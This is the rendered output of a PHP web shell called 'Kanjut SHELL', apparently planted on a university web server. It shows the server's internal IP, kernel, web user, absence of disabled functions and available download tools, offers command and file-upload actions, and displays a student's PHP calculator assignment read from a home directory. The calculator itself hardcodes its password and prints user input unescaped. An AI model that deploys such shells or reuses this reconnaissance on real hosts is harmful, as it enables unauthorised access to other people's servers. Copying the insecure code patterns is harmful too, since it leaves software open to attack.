Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.14.132.178
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/idetonyeaku/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/idetonyeaku/www/calculator.php
<!--

    	File: passcalculator.php
        Assignment: 2 Part: d
        Due: Feb. 19, 2018
        Author: Ikechukwu Etonyeaku
        Goal: Based on the general calculator in Pages 47-49, secure the Web pages by adding a login
        page with the password of hw2d to access the tool, and also add the additional operations
        of modulus (a%b) and power (ab) to the operation form.
-->

<?php   session_start();
?>

<?php

        $pass = $_SESSION['psw'];
        if($pass != "hw2d")
                print "Sorry wrong password buddy.";
        else
	{
?>

<HTML>
<style>
body {
  border: 2px solid black;
  padding: 25px;
  background:url(http://www.avatarys.com/var/albums/SPORT-IMAGES-%26-BACKGROUNDS/Sport-Logos/English-Premier-League-Logos/1920x1080-Cool-Soccer-Logos/Ac%20milan%20logo%20football%20Cool%20Soccer%20Wallpapers%201920x1080.jpg?m=1435255621);
  background-repeat:no-repeat;
  background-size: auto;
}
.black_bg
{
    background-color: black;
    padding: 3px;
}
</style>
<Font color = White>
<CENTER>
<H2><span class = "black_bg"><strong>General Calculator</span> </H2>

<HR>
<?php
	$op = $_POST['op'];	// "add",
	$num1 = $_SESSION['v1'];
	$num2 = $_SESSION['v2'];
 
	print "The num1 is $num1<BR>"; 
	print "The num2 is $num2<BR>"; 
	print "The operator is $op <HR>";

	if($op == "add")
	{	$ans = $num1 + $num2;
		print "$num1 + $num2 = $ans";
	}
	else if($op == "sub")
        {       $ans = $num1 - $num2;
                print "$num1 - $num2 = $ans";
        }
        else if($op == "mul")
        {       $ans = $num1 * $num2;
                print "$num1 * $num2 = $ans";
        }
        else if($op == "div")
        {       $ans = $num1 / $num2;
                print "$num1 / $num2 = $ans";
        }
	else if($op == "mod")
        {	$ans = $num1 % $num2;
                print "$num1 % $num2 = $ans";
        }
	else if($op == "pow")
        {	$ans = pow($num1,$num2);
                print "$num1^$num2 = $ans";
        }
?>
<HR>
<A HREF=index.html><span class = "black_bg">Go Home</span></A>
</FONT>
</center>
</html>

<?php
     	}
?>

Stv3n404 - 2023